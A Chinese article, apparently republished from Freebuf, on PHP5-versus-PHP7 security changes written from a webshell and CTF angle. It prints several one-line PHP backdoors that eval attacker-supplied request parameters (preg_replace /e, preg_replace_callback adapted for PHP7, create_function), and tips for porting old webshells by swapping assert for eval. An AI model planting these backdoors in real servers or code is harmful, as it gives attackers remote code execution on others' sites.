PHP7和PHP5在安全上的区别

安全 应用安全
之前测试的时候发现很多菜刀的马都不能用了,大马也几乎3/4不能正常在php7运行。网上百度也没有找到太多相关性的文章,就自己总结测试了一下关于安全性上的区别。

前言

之前测试的时候发现很多菜刀的马都不能用了,大马也几乎3/4不能正常在php7运行。网上百度也没有找到太多相关性的文章,就自己总结测试了一下关于安全性上的区别。

函数修改

1. preg_replace()不再支持/e修饰符

  1. <?php 
  2. preg_replace("/.*/e",$_GET["h"],".");  
  3. ?> 

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

很不幸,在PHP7以上版本不在支持\e修饰符,同时官方给了我们一个新的函数preg_replace_callback:

这里我们稍微改动一下就可以利用它当我们的后门:

  1. <?php 
  2. preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); 
  3. ?> 

 

2. create_function()被废弃

  1. <?php 
  2. $func =create_function('',$_POST['cmd']);$func(); 
  3. ?> 

少了一种可以利用当后门的函数,实际上它是通过执行eval实现的。可有可无。

3. mysql_*系列全员移除

如果你要在PHP7上面用老版本的mysql_*系列函数需要你自己去额外装了,官方不在自带,现在官方推荐的是mysqli或者pdo_mysql。这是否预示着未来SQL注入漏洞在PHP上的大幅减少呢~

4. unserialize()增加一个可选白名单参数

  1. $data = unserialize($serializedObj1 , ["allowed_classes" => true]); 
  2. $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);  

其实就是一个白名单,如果反序列数据里面的类名不在这个白名单内,就会报错。

像这样的报错!

可以是类名也可以是布尔数据,如果是FALSE就会将所有的对象都转换为__PHP_Incomplete_Class对象。TRUE是没有限制的。也可以传入类名实现白名单。

还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。

5. assert()默认不在可以执行代码

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

语法修改

1. foreach不再改变内部数组指针

  1. <?php 
  2. $a = array('1','2','3'); 
  3. foreach ($a as $k=>&$n){ 
  4.     echo ""; 
  5. print_r($a); 
  6. foreach ($a as $k=>$n){ 
  7.     echo ""; 
  8.  
  9. print_r($a); 

这样的代码在php5中,是这样的执行结果:

因为数组最后一个元素的 $value 引用在 foreach 循环之后仍会保留,在第二个循环的时候实际上是对之前的指针不断的赋值。php7中通过值遍历时,操作的值为数组的副本,不在对后续操作进行影响。

 

这个改动影响了某些cms的洞在PHP7上无法利用了….你知道我指的是哪个洞的。

这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

2. 8进制字符容错率降低

在php5版本,如果一个八进制字符如果含有无效数字,该无效数字将被静默删节。

  1. <?php 
  2. echo octdec( '012999999999999' ) . "\n"; 
  3. echo octdec( '012' ) . "\n"; 
  4. if (octdec( '012999999999999' )==octdec( '012' )){ 
  5.         echo ": )". "\n"; 

比如这样的代码在php5中的执行结果如下:

 

但是在php7里面会触发一个解析错误。

这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

3. 十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~

很多骚操作都不能用了~

这个没什么好说的,大家都懂。

  1. <?php 
  2. var_dump("0x123" == "291"); 
  3. var_dump(is_numeric("0x123")); 
  4. var_dump("0xe" + "0x1"); 
  5. var_dump(substr("foo", "0x1")); 
  6. ?> 

以上代码在PHP5运行结果如下:

PHP7运行结果如下:

你以为我要说这个在后续版本被改回去了?不,目前截至PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。

4. 移除了 ASP 和 script PHP 标签

现在只有这样的标签能在php7上运行了。

字面意思,影响其实不是很大(只是以后骚套路会少一点)。

5. 超大浮点数类型转换截断

将浮点数转换为整数的时候,如果浮点数值太大,导致无法以整数表达的情况下, 在PHP5的版本中,转换会直接将整数截断,并不会引发错误。 在PHP7中,会报错。

CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。

杂项

  • exec(), system() passthru()函数对 NULL 增加了保护.
  • list()不再能解开字符串string变量
  • $HTTP_RAW_POST_DATA 被移除
  • __autoload() 方法被废弃
  • parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
  • 统一不同平台下的整型长度
  • session_start() 可以加入一个数组覆盖php.ini的配置

后记

这篇文章将保持长期更新和修正。但是很遗憾FB在发布之后作者就没有权限更改了,因此后续更新将在博客上发布。

错误的地方或者不全的地方请通过bad_guys@qq.com联系我。

引用:http://php.net/

 

责任编辑:赵宁宁 来源: Freebuf
相关推荐

2009-11-23 20:00:25

PHP5接口PHP5抽象类

2011-07-07 14:28:23

PHP

2009-03-16 16:08:09

PHP异常

2015-10-28 13:30:15

PHP7性能揭秘

2009-11-24 17:01:39

PHP5多重继承

2015-09-18 11:29:50

PHP7革新性能

2011-03-11 14:02:55

LAMP安装PHP5

2009-11-24 16:28:41

PHP5魔术函数

2009-11-18 18:33:23

Linux PHP5安

2009-12-11 17:33:56

PHP5常用函数

2009-11-23 13:27:22

PHP5指针

2009-11-17 14:01:01

Apache 2 PH

2009-11-18 14:45:02

PHP5 Sessio

2009-12-03 13:50:16

PHP5异常处理

2011-09-07 10:26:28

Ubuntuphp5phpize

2009-11-23 19:33:12

PHP5多态性

2011-12-15 09:00:51

PHP 7

2017-09-28 11:54:11

PHP

2009-11-18 10:39:45

PHP5配置

2015-12-03 11:45:31

PHP7 发布
点赞
收藏

51CTO技术栈公众号